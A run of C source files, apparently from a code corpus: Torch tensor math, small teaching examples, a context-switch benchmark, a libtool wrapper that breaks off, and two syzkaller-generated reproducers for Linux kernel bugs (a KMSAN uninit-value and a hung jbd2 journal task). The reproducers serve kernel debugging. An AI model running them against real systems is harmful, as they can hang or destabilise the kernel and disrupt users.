TH_MATH_NAME(atan2)(*tx_data,*ty_data);); } void THTensor_(lerp)(THTensor *r_, THTensor *a, THTensor *b, real weight) { THArgCheck(THTensor_(nElement)(a) == THTensor_(nElement)(b), 2, "sizes do not match"); THTensor_(resizeAs)(r_, a); TH_TENSOR_APPLY3(real, r_, real, a, real, b, *r__data = TH_MATH_NAME(TH_lerp)(*a_data, *b_data, weight);); } void THTensor_(mean)(THTensor *r_, THTensor *t, int dimension, int keepdim) { THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "invalid dimension %d", dimension + TH_INDEX_BASE); THTensor_(sum)(r_, t, dimension, keepdim); THTensor_(div)(r_, r_, t->size[dimension]); } void THTensor_(std)(THTensor *r_, THTensor *t, int dimension, int flag, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "invalid dimension %d", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(r_, dim, NULL); THLongStorage_free(dim); TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal sum = 0; accreal sum2 = 0; long i; for(i = 0; i < t_size; i++) { real z = t_data[i*t_stride]; sum += z; sum2 += z*z; } if(flag) { sum /= t_size; sum2 /= t_size; sum2 -= sum*sum; sum2 = (sum2 < 0 ? 0 : sum2); *r__data = (real)TH_MATH_NAME(sqrt)(sum2); } else { sum /= t_size; sum2 /= t_size-1; sum2 -= ((real)t_size)/((real)(t_size-1))*sum*sum; sum2 = (sum2 < 0 ? 0 : sum2); *r__data = (real)TH_MATH_NAME(sqrt)(sum2); }); if (!keepdim) { THTensor_(squeeze1d)(r_, r_, dimension); } } void THTensor_(var)(THTensor *r_, THTensor *t, int dimension, int flag, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "invalid dimension %d", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(r_, dim, NULL); THLongStorage_free(dim); TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal sum = 0; accreal sum2 = 0; long i; for(i = 0; i < t_size; i++) { real z = t_data[i*t_stride]; sum += z; sum2 += z*z; } if(flag) { sum /= t_size; sum2 /= t_size; sum2 -= sum*sum; sum2 = (sum2 < 0 ? 0 : sum2); *r__data = sum2; } else { sum /= t_size; sum2 /= t_size-1; sum2 -= ((real)t_size)/((real)(t_size-1))*sum*sum; sum2 = (sum2 < 0 ? 0 : sum2); *r__data = (real)sum2; }); if (!keepdim) { THTensor_(squeeze1d)(r_, r_, dimension); } } void THTensor_(norm)(THTensor *r_, THTensor *t, real value, int dimension, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "invalid dimension %d", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(r_, dim, NULL); THLongStorage_free(dim); if(value == 0) { TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal sum = 0; long i; for(i = 0; i < t_size; i++) sum += t_data[i*t_stride] != 0.0; *r__data = sum;) } else { TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal sum = 0; long i; for(i = 0; i < t_size; i++) { sum += TH_MATH_NAME(pow)( TH_MATH_NAME(fabs)(t_data[i*t_stride]), value); } *r__data = TH_MATH_NAME(pow)(sum, 1.0/value);) } if (!keepdim) { THTensor_(squeeze1d)(r_, r_, dimension); } } accreal THTensor_(normall)(THTensor *tensor, real value) { accreal sum = 0; if(value == 0) { TH_TENSOR_APPLY(real, tensor, sum += *tensor_data != 0.0;); return sum; } else if(value == 1) { TH_TENSOR_APPLY(real, tensor, sum += TH_MATH_NAME(fabs)(*tensor_data);); return sum; } else if(value == 2) { TH_TENSOR_APPLY(real, tensor, accreal z = *tensor_data; sum += z*z;); return sqrt(sum); } else { TH_TENSOR_APPLY(real, tensor, sum += TH_MATH_NAME(pow)(TH_MATH_NAME(fabs)(*tensor_data), value);); return TH_MATH_NAME(pow)(sum, 1.0/value); } } void THTensor_(renorm)(THTensor *res, THTensor *src, real value, int dimension, real maxnorm) { int i; THTensor *rowR, *rowS; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(src), 3, "invalid dimension %d", dimension + TH_INDEX_BASE); THArgCheck(value > 0, 2, "non-positive-norm not supported"); THArgCheck(THTensor_(nDimension)(src) > 1, 1, "need at least 2 dimensions, got %d dimensions", THTensor_(nDimension)(src)); rowR = THTensor_(new)(); rowS = THTensor_(new)(); THTensor_(resizeAs)(res, src); for (i=0; i<src->size[dimension]; i++) { real norm = 0; real new_norm; THTensor_(select)(rowS, src, dimension, i); THTensor_(select)(rowR, res, dimension, i); if (value == 1) { TH_TENSOR_APPLY(real, rowS, norm += fabs(*rowS_data);); } else if (value == 2) { TH_TENSOR_APPLY(real, rowS, accreal z = *rowS_data; norm += z*z;); } else { TH_TENSOR_APPLY(real, rowS, norm += TH_MATH_NAME(pow)(TH_MATH_NAME(fabs)(*rowS_data), value);); } norm = pow(norm, 1/value); if (norm > maxnorm) { new_norm = maxnorm / (norm + 1e-7); TH_TENSOR_APPLY2( real, rowR, real, rowS, *rowR_data = (*rowS_data) * new_norm; ) } else THTensor_(copy)(rowR, rowS); } THTensor_(free)(rowR); THTensor_(free)(rowS); } accreal THTensor_(dist)(THTensor *tensor, THTensor *src, real value) { real sum = 0; TH_TENSOR_APPLY2(real, tensor, real, src, sum += TH_MATH_NAME(pow)( TH_MATH_NAME(fabs)(*tensor_data - *src_data), value);); return TH_MATH_NAME(pow)(sum, 1.0/value); } accreal THTensor_(meanall)(THTensor *tensor) { THArgCheck(tensor->nDimension > 0, 1, "empty Tensor"); return THTensor_(sumall)(tensor)/THTensor_(nElement)(tensor); } accreal THTensor_(varall)(THTensor *tensor) { accreal mean = THTensor_(meanall)(tensor); accreal sum = 0; TH_TENSOR_APPLY(real, tensor, sum += (*tensor_data - mean)*(*tensor_data - mean);); sum /= (THTensor_(nElement)(tensor)-1); return sum; } accreal THTensor_(stdall)(THTensor *tensor) { return sqrt(THTensor_(varall)(tensor)); } void THTensor_(linspace)(THTensor *r_, real a, real b, long n) { real i = 0; THArgCheck(n > 1 || (n == 1 && (a == b)), 3, "invalid number of points"); if (THTensor_(nElement)(r_) != n) { THTensor_(resize1d)(r_, n); } if(n == 1) { TH_TENSOR_APPLY(real, r_, *r__data = a; i++; ); } else { TH_TENSOR_APPLY(real, r_, *r__data = a + i*(b-a)/((real)(n-1)); i++; ); } } void THTensor_(logspace)(THTensor *r_, real a, real b, long n) { real i = 0; THArgCheck(n > 1 || (n == 1 && (a == b)), 3, "invalid number of points"); if (THTensor_(nElement)(r_) != n) { THTensor_(resize1d)(r_, n); } if(n == 1) { TH_TENSOR_APPLY(real, r_, *r__data = TH_MATH_NAME(pow)(10.0, a); i++; ); } else { TH_TENSOR_APPLY(real, r_, *r__data = TH_MATH_NAME(pow)(10.0, a + i*(b-a)/((real)(n-1))); i++; ); } } void THTensor_(rand)(THTensor *r_, THGenerator *_generator, THLongStorage *size) { THTensor_(resize)(r_, size, NULL); THTensor_(uniform)(r_, _generator, 0, 1); } void THTensor_(randn)(THTensor *r_, THGenerator *_generator, THLongStorage *size) { THTensor_(resize)(r_, size, NULL); THTensor_(normal)(r_, _generator, 0, 1); } void THTensor_(histc)(THTensor *hist, THTensor *tensor, long nbins, real minvalue, real maxvalue) { real minval; real maxval; real *h_data; THTensor_(resize1d)(hist, nbins); THTensor_(zero)(hist); minval = minvalue; maxval = maxvalue; if (minval == maxval) { minval = THTensor_(minall)(tensor); maxval = THTensor_(maxall)(tensor); } if (minval == maxval) { minval = minval - 1; maxval = maxval + 1; } h_data = THTensor_(data)(hist); TH_TENSOR_APPLY(real, tensor, if (*tensor_data >= minval && *tensor_data <= maxval) { const int bin = (int)((*tensor_data-minval) / (maxval-minval) * nbins); h_data[THMin(bin, nbins-1)] += 1; } ); } void THTensor_(bhistc)(THTensor *hist, THTensor *tensor, long nbins, real minvalue, real maxvalue) { THArgCheck(THTensor_(nDimension)(tensor) < 3, 2, "invalid dimension %d, the input must be a 2d tensor", THTensor_(nDimension)(tensor)); int dimension = 1; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(tensor), 2, "invalid dimension %d", dimension + TH_INDEX_BASE); real minval; real maxval; real *h_data; THTensor_(resize2d)(hist, tensor->size[0], nbins); THTensor_(zero)(hist); minval = minvalue; maxval = maxvalue; if (minval == maxval) { minval = THTensor_(minall)(tensor); maxval = THTensor_(maxall)(tensor); } if (minval == maxval) { minval = minval - 1; maxval = maxval + 1; } TH_TENSOR_DIM_APPLY2(real, tensor, real, hist, dimension, long i; for(i = 0; i < tensor_size; i++) { if(tensor_data[i*tensor_stride] >= minval && tensor_data[i*tensor_stride] <= maxval) { const int bin = (int)((tensor_data[i*tensor_stride]-minval) / (maxval-minval) * nbins); hist_data[THMin(bin, nbins-1)] += 1; } } ); } #undef TH_MATH_NAME #endif /* floating point only part */ #undef IS_NONZERO #endif
the_stack_data/287157.c
// q12b // q12aのコードにおいて、関数sum()を、[]を用いて配列表記で実現してください。 #include <stdio.h> int sum(int a[], int n) { int i = 0; int S = 0; for (i=0; i<n; i++) { S += a[i]; } return S; } main() { int a[100] = {0}; int i, n; printf("n="); scanf("%d", &n); printf("a="); for (i=0; i<n; i++) { scanf("%d", &a[i]); } printf("sum(a)=%d\n", sum(a, n)); }
the_stack_data/248580770.c
#include <errno.h> #include <pthread.h> #include <signal.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #define BUF_LEN 1 struct thread_arg { int niters; int rfd; int wfd; }; void handle_error(char *msg) { perror(msg); exit(EXIT_FAILURE); } void *thread_main(void *arg) { struct thread_arg *targ = (struct thread_arg*)arg; char buf[BUF_LEN] = {1}; int i; int niters = targ->niters; int rfd = targ->rfd; int wfd = targ->wfd; ssize_t n; for (i = 0; i < niters; i++) { n = read(rfd, buf, BUF_LEN); if (n != BUF_LEN) handle_error("thread read"); n = write(wfd, buf, BUF_LEN); if (n != BUF_LEN) handle_error("thread write"); } return EXIT_SUCCESS; } void init_threads(int n, struct thread_arg *args, pthread_t *threads) { int i; int ret; pthread_attr_t attr; ret = pthread_attr_init(&attr); if (ret != 0) { errno = ret; handle_error("pthread_attr_init"); } for (i = 0; i < n; i++) { ret = pthread_create(&threads[i], &attr, &thread_main, &args[i]); if (ret != 0) { errno = ret; handle_error("pthread_create"); } } ret = pthread_attr_destroy(&attr); if (ret != 0) { errno = ret; handle_error("pthread_attr_destroy"); } } void destroy_threads(int n, pthread_t *threads) { int i; int ret; for (i = 0; i < n; i++) { ret = pthread_join(threads[i], NULL); if (ret != 0) { errno = ret; handle_error("pthread_join"); } } } void init_args(int nswitch, int nthreads, int nwarmups, struct thread_arg *args) { int i; int niters = ((nswitch + (nthreads - 1)) / nthreads) + nwarmups; int pipefd[2]; for (i = 0; i < nthreads; i++) { if (pipe(pipefd) != 0) handle_error("pipe"); args[i].niters = niters; args[i].wfd = pipefd[1]; args[(i+1) % nthreads].rfd = pipefd[0]; } } void destroy_args(int n, struct thread_arg *args) { int i; for (i = 0; i < n; i++) { close(args[i].rfd); close(args[i].wfd); } } void warmup(int rfd, int wfd, int nwarmups) { char buf[BUF_LEN] = {1}; int i; for (i = 0; i < nwarmups; i++) { if (write(wfd, buf, BUF_LEN) != BUF_LEN) handle_error("write"); if (read(rfd, buf, BUF_LEN) != BUF_LEN) handle_error("read"); } } void run_bench(int rfd, int wfd, int nwarmups, int nswitch, int nthreads) { char buf[BUF_LEN] = {1}; int i; struct timespec end; struct timespec start; uint64_t delta; warmup(rfd, wfd, nwarmups); clock_gettime(CLOCK_REALTIME, &start); for (i = 0; i < nswitch; i += nthreads) { if (write(wfd, buf, BUF_LEN) != BUF_LEN) handle_error("write"); if (read(rfd, buf, BUF_LEN) != BUF_LEN) handle_error("read"); } clock_gettime(CLOCK_REALTIME, &end); delta = 1e9 * (end.tv_sec - start.tv_sec) + end.tv_nsec - start.tv_nsec; printf("nswitch = %d, delta = %ldns, avg = %ldns\n", i, delta, delta/i); } void print_usage(char *name) { fprintf(stderr, "Usage: %s [-w nwarmups] -n nswitches -t nthreads\n", name); exit(EXIT_FAILURE); } int main(int argc, char **argv) { char c; int nswitch = -1; int nthreads = -1; int nwarmups = 1; pthread_t *threads; struct thread_arg *args; opterr = 0; while ((c = getopt(argc, argv, "w:n:t:")) != -1) switch (c) { case 'n': nswitch = atoi(optarg); break; case 't': nthreads = atoi(optarg); break; case 'w': nwarmups = atoi(optarg); break; default: print_usage(argv[0]); } if (nswitch == -1 || nthreads == -1) print_usage(argv[0]); args = calloc((size_t)nthreads, sizeof(struct thread_arg)); if (args == NULL) handle_error("calloc"); threads = calloc((size_t)nthreads - 1, sizeof(pthread_t)); if (threads == NULL) handle_error("calloc"); init_args(nswitch, nthreads, nwarmups, args); init_threads(nthreads - 1, &args[1], threads); // Thread 0 == main run_bench(args[0].rfd, args[0].wfd, nwarmups, nswitch, nthreads); destroy_threads(nthreads - 1, threads); destroy_args(nthreads, args); free(threads); free(args); return EXIT_SUCCESS; }
the_stack_data/153269207.c
// KMSAN: uninit-value in update_stack_state // https://syzkaller.appspot.com/bug?id=a7fc2861aa440591f8e570dc2532821b67ba7e60 // status:invalid // autogenerated by syzkaller (http://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <string.h> #include <sys/stat.h> #include <sys/syscall.h> #include <unistd.h> static uintptr_t syz_open_procfs(uintptr_t a0, uintptr_t a1) { char buf[128]; memset(buf, 0, sizeof(buf)); if (a0 == 0) { snprintf(buf, sizeof(buf), "/proc/self/%s", (char*)a1); } else if (a0 == (uintptr_t)-1) { snprintf(buf, sizeof(buf), "/proc/thread-self/%s", (char*)a1); } else { snprintf(buf, sizeof(buf), "/proc/self/task/%d/%s", (int)a0, (char*)a1); } int fd = open(buf, O_RDWR); if (fd == -1) fd = open(buf, O_RDONLY); return fd; } uint64_t r[1] = {0xffffffffffffffff}; void loop() { long res = 0; memcpy((void*)0x200e0000, "stack", 6); res = syz_open_procfs(0, 0x200e0000); if (res != -1) r[0] = res; *(uint64_t*)0x2066dff0 = 0x208ad000; *(uint64_t*)0x2066dff8 = 0xb2; syscall(__NR_readv, r[0], 0x2066dff0, 1); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; }
the_stack_data/26387.c
// INFO: task hung in jbd2_journal_commit_transaction // https://syzkaller.appspot.com/bug?id=b8afb3d95297388287141f3721edb7a94b0280c5 // status:dup // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <endian.h> #include <pthread.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <sys/types.h> #include <time.h> #include <unistd.h> #include <linux/futex.h> static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); if (pthread_create(&th, &attr, fn, arg)) exit(1); pthread_attr_destroy(&attr); } typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } struct thread_t { int created, call; event_t ready, done; }; static struct thread_t threads[16]; static void execute_call(int call); static int running; static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; for (;;) { event_wait(&th->ready); event_reset(&th->ready); execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); event_set(&th->done); } return 0; } static void loop(void) { int i, call, thread; for (call = 0; call < 7; call++) { for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; event_init(&th->ready); event_init(&th->done); event_set(&th->done); thread_start(thr, th); } if (!event_isset(&th->done)) continue; event_reset(&th->done); th->call = call; __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); event_set(&th->ready); event_timedwait(&th->done, 45); break; } } for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++) sleep_ms(1); } uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; void execute_call(int call) { long res; switch (call) { case 0: memcpy((void*)0x20000180, "\x73\x74\x61\x74\x09\xc0\xc2\xfe\xbc\xf9\xdf\x2d\xea\xc8\xc1\x77" "\xff\x17\x12\x48\xe9\x11\x93\x51\x30\x49\xf8\x31\x55\x0d\x6f\x7d" "\xe6\x6c\xf6\x37\xbd\xbf\x13\x11\x92\x0c\x8a\x26\xed\xa4\xdc\xc3" "\x78\x3f\x9d\xb5\x11\x6b\x34\xd3\x1b\x05\x12\xa5\x60\x8a\xaf\xf0" "\x1e\x79\x52\x34\x0c\xd6\xfd\x00\x00\x00\x00", 75); res = syscall(__NR_openat, 0xffffff9c, 0x20000180, 0x275a, 0); if (res != -1) r[0] = res; break; case 1: memcpy((void*)0x200005c0, "\xf7", 1); syscall(__NR_pwrite64, r[0], 0x200005c0, 1, 0); break; case 2: memcpy((void*)0x20000240, "memory.stat", 12); res = syscall(__NR_openat, 0xffffff9c, 0x20000240, 0x275a, 0); if (res != -1) r[1] = res; break; case 3: sprintf((char*)0x20000100, "0x%016llx", (long long)0); syscall(__NR_write, r[1], 0x20000100, 0x12); break; case 4: *(uint16_t*)0x20000080 = 0; *(uint16_t*)0x20000082 = 0; *(uint64_t*)0x20000088 = 0; *(uint64_t*)0x20000090 = 0x405c92ec; *(uint32_t*)0x20000098 = 0; *(uint32_t*)0x2000009c = 0; *(uint32_t*)0x200000a0 = 0; *(uint32_t*)0x200000a4 = 0; *(uint32_t*)0x200000a8 = 0; *(uint32_t*)0x200000ac = 0; syscall(__NR_ioctl, r[1], 0x40305828, 0x20000080); break; case 5: *(uint16_t*)0x20000140 = 0; *(uint16_t*)0x20000142 = 0; *(uint64_t*)0x20000148 = 0x56cd4216; *(uint64_t*)0x20000150 = 0x10001; *(uint32_t*)0x20000158 = 0; *(uint32_t*)0x2000015c = 0; *(uint32_t*)0x20000160 = 0; *(uint32_t*)0x20000164 = 0; *(uint32_t*)0x20000168 = 0; *(uint32_t*)0x2000016c = 0; syscall(__NR_ioctl, r[0], 0x40305828, 0x20000140); break; case 6: *(uint32_t*)0x20000300 = 0; *(uint32_t*)0x20000304 = r[1]; *(uint64_t*)0x20000308 = 0; *(uint64_t*)0x20000310 = 0xfffa931c; *(uint64_t*)0x20000318 = 0; *(uint64_t*)0x20000320 = 0; syscall(__NR_ioctl, r[0], 0xc028660f, 0x20000300); break; } } int main(void) { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); loop(); return 0; }
the_stack_data/109170.c
/* * author: greyshell * description: how to use and declare a variadic function * */ #include <stdarg.h> #include <stdio.h> int add_em_up(int count, ...) { va_list arg; int i, sum; va_start (arg, count); /* Initialize the argument list. */ sum = 0; for (i = 0; i < count; i++) sum += va_arg (arg, int); /* Get the next argument value. */ va_end (arg); /* Clean up. */ return sum; } int main(void) { /* This call prints 16. */ printf("%d\n", add_em_up(3, 5, 5, 6)); /* This call prints 55. */ printf("%d\n", add_em_up(10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)); return 0; }
the_stack_data/175143886.c
#include<stdio.h> int main(){ int a,b,c; scanf("%d %d",&a,&b); char i; c=a+b; printf("%d",c); }
the_stack_data/86074107.c
/* ./.libs/lt-testAutomata.c - temporary wrapper executable for .libs/testAutomata Generated by ltmain.sh (GNU libtool) 2.2.6b The testAutomata program cannot be directly executed until all the libtool libraries that it depends on are installed. This wrapper executable should never be moved out of the build directory. If it is, it will not operate correctly. Currently, it simply execs the wrapper *script* "/bin/sh testAutomata", but could eventually absorb all of the scripts functionality and exec .libs/testAutomata directly. */ #include <stdio.h> #include <stdlib.h> #ifdef _MSC_VER # include <direct.h> # include <process.h> # include <io.h> # define setmode _setmode #else # include <unistd.h> # include <stdint.h> # ifdef __CYGWIN__ # include <io.h> # define HAVE_SETENV # ifdef __STRICT_ANSI__ char *realpath (const char *, char *); int putenv (char *); int setenv (const char *, const char *, int); # endif # endif #endif #include <malloc.h> #include <stdarg.h> #include <assert.h> #include <string.h> #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <sys/stat.h> #if defined(PATH_MAX) # define LT_PATHMAX PATH_MAX #elif defined(MAXPATHLEN) # define LT_PATHMAX MAXPATHLEN #else # define LT_PATHMAX 1024 #endif #ifndef S_IXOTH # define S_IXOTH 0 #endif #ifndef S_IXGRP # define S_IXGRP 0 #endif #ifdef _MSC_VER # define S_IXUSR _S_IEXEC # define stat _stat # ifndef _INTPTR_T_DEFINED # define intptr_t int # endif #endif #ifndef DIR_SEPARATOR # define DIR_SEPARATOR '/' # define PATH_SEPARATOR ':' #endif #if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ defined (__OS2__) # define HAVE_DOS_BASED_FILE_SYSTEM # define FOPEN_WB "wb" # ifndef DIR_SEPARATOR_2 # define DIR_SEPARATOR_2 '\\' # endif # ifndef PATH_SEPARATOR_2 # define PATH_SEPARATOR_2 ';' # endif #endif #ifndef DIR_SEPARATOR_2 # define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) #else /* DIR_SEPARATOR_2 */ # define IS_DIR_SEPARATOR(ch) \ (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) #endif /* DIR_SEPARATOR_2 */ #ifndef PATH_SEPARATOR_2 # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) #else /* PATH_SEPARATOR_2 */ # define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) #endif /* PATH_SEPARATOR_2 */ #ifdef __CYGWIN__ # define FOPEN_WB "wb" #endif #ifndef FOPEN_WB # define FOPEN_WB "w" #endif #ifndef _O_BINARY # define _O_BINARY 0 #endif #define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) #define XFREE(stale) do { \ if (stale) { free ((void *) stale); stale = 0; } \ } while (0) #undef LTWRAPPER_DEBUGPRINTF #if defined DEBUGWRAPPER # define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args static void ltwrapper_debugprintf (const char *fmt, ...) { va_list args; va_start (args, fmt); (void) vfprintf (stderr, fmt, args); va_end (args); } #else # define LTWRAPPER_DEBUGPRINTF(args) #endif const char *program_name = NULL; void *xmalloc (size_t num); char *xstrdup (const char *string); const char *base_name (const char *name); char *find_executable (const char *wrapper); char *chase_symlinks (const char *pathspec); int make_executable (const char *path); int check_executable (const char *path); char *strendzap (char *str, const char *pat); void lt_fatal (const char *message, ...); void lt_setenv (const char *name, const char *value); char *lt_extend_str (const char *orig_value, const char *add, int to_end); void lt_opt_process_env_set (const char *arg); void lt_opt_process_env_prepend (const char *arg); void lt_opt_process_env_append (const char *arg); int lt_split_name_value (const char *arg, char** name, char** value); void lt_update_exe_path (const char *name, const char *value); void lt_update_lib_path (const char *name, const char *value); static const char *script_text_part1 = "#! /bin/sh\n" "\n" "# testAutomata - temporary wrapper script for .libs/testAutomata\n" "# Generated by ltmain.sh (GNU libtool) 2.2.6b\n" "#\n" "# The testAutomata program cannot be directly executed until all the libtool\n" "# libraries that it depends on are installed.\n" "#\n" "# This wrapper script should never be moved out of the build directory.\n" "# If it is, it will not operate correctly.\n" "\n" "# Sed substitution that helps us do robust quoting. It backslashifies\n" "# metacharacters that are still active within double-quoted strings.\n" "Xsed='/usr/bin/sed -e 1s/^X//'\n" "sed_quote_subst='s/\\([`\"$\\\\]\\)/\\\\\\1/g'\n" "\n" "# Be Bourne compatible\n" "if test -n \"${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then\n" " emulate sh\n" " NULLCMD=:\n" " # Zsh 3.x and 4.x performs word splitting on ${1+\"$@\"}, which\n" " # is contrary to our usage. Disable this feature.\n" " alias -g '${1+\"$@\"}'='\"$@\"'\n" " setopt NO_GLOB_SUBST\n" "else\n" " case `(set -o) 2>/dev/null` in *posix*) set -o posix;; esac\n" "fi\n" "BIN_SH=xpg4; export BIN_SH # for Tru64\n" "DUALCASE=1; export DUALCASE # for MKS sh\n" "\n" "# The HP-UX ksh and POSIX shell print the target directory to stdout\n" "# if CDPATH is set.\n" "(unset CDPATH) >/dev/null 2>&1 && unset CDPATH\n" "\n" "relink_command=\"\"\n" "\n" "# This environment variable determines our operation mode.\n" "if test \"$libtool_install_magic\" = \"%%%MAGIC variable%%%\"; then\n" " # install mode needs the following variables:\n" " generated_by_libtool_version='2.2.6b'\n" " notinst_deplibs=' ./libxml2.la /usr/lib/libiconv.la'\n" "else\n" " # When we are sourced in execute mode, $file and $ECHO are already set.\n" " if test \"$libtool_execute_magic\" != \"%%%MAGIC variable%%%\"; then\n" " ECHO=\"echo\"\n" " file=\"$0\"\n" " # Make sure echo works.\n" " if test \"X$1\" = X--no-reexec; then\n" " # Discard the --no-reexec flag, and continue.\n" " shift\n" " elif test \"X`{ $ECHO '\\t'; } 2>/dev/null`\" = 'X\\t'; then\n" " # Yippee, $ECHO works!\n" " :\n" " else\n" " # Restart under the correct shell, and then maybe $ECHO will work.\n" " exec /bin/sh \"$0\" --no-reexec ${1+\"$@\"}\n" " fi\n" " fi\n" "\n" " # Find the directory that this script lives in.\n" " thisdir=`$ECHO \"X$file\" | $Xsed -e 's%/[^/]*$%%'`\n" " test \"x$thisdir\" = \"x$file\" && thisdir=.\n" "\n" " # Follow symbolic links until we get to the real thisdir.\n" " file=`ls -ld \"$file\" | /usr/bin/sed -n 's/.*-> //p'`\n" " while test -n \"$file\"; do\n" " destdir=`$ECHO \"X$file\" | $Xsed -e 's%/[^/]*$%%'`\n" "\n" " # If there was a directory component, then change thisdir.\n" " if test \"x$destdir\" != \"x$file\"; then\n" " case \"$destdir\" in\n" " [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"$destdir\" ;;\n" " *) thisdir=\"$thisdir/$destdir\" ;;\n" " esac\n" " fi\n" "\n" " file=`$ECHO \"X$file\" | $Xsed -e 's%^.*/%%'`\n" " file=`ls -ld \"$thisdir/$file\" | /usr/bin/sed -n 's/.*-> //p'`\n" " done\n" "\n" ; static const char *script_text_part2 = "\n" " # Usually 'no', except on cygwin/mingw when embedded into\n" " # the cwrapper.\n" " WRAPPER_SCRIPT_BELONGS_IN_OBJDIR=yes\n" " if test \"$WRAPPER_SCRIPT_BELONGS_IN_OBJDIR\" = \"yes\"; then\n" " # special case for '.'\n" " if test \"$thisdir\" = \".\"; then\n" " thisdir=`pwd`\n" " fi\n" " # remove .libs from thisdir\n" " case \"$thisdir\" in\n" " *[\\\\/].libs ) thisdir=`$ECHO \"X$thisdir\" | $Xsed -e 's%[\\\\/][^\\\\/]*$%%'` ;;\n" " .libs ) thisdir=. ;;\n" " esac\n" " fi\n" "\n" " # Try to get the absolute directory name.\n" " absdir=`cd \"$thisdir\" && pwd`\n" " test -n \"$absdir\" && thisdir=\"$absdir\"\n" "\n" " program='testAutomata'\n" " progdir=\"$thisdir/.libs\"\n" "\n" "\n" " if test -f \"$progdir/$program\"; then\n" " # Add our own library path to PATH\n" " PATH=\"/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/lib:$PATH\"\n" "\n" " # Some systems cannot cope with colon-terminated PATH\n" " # The second colon is a workaround for a bug in BeOS R4 sed\n" " PATH=`$ECHO \"X$PATH\" | $Xsed -e 's/::*$//'`\n" "\n" " export PATH\n" "\n" " # Add the dll search path components to the executable PATH\n" " PATH=/cygdrive/e/buildlibxml2/jni/libxml2/.libs:/usr/local/lib:/usr/local/bin:$PATH\n" "\n" " if test \"$libtool_execute_magic\" != \"%%%MAGIC variable%%%\"; then\n" " # Run the actual program with our arguments.\n" "\n" " exec \"$progdir/$program\" ${1+\"$@\"}\n" "\n" " $ECHO \"$0: cannot exec $program $*\" 1>&2\n" " exit 1\n" " fi\n" " else\n" " # The program doesn't exist.\n" " $ECHO \"$0: error: \\`$progdir/$program' does not exist\" 1>&2\n" " $ECHO \"This script is just a wrapper for $program.\" 1>&2\n" " echo \"See the libtool documentation for more information.\" 1>&2\n" " exit 1\n" " fi\n" "fi\n" ; const char * MAGIC_EXE 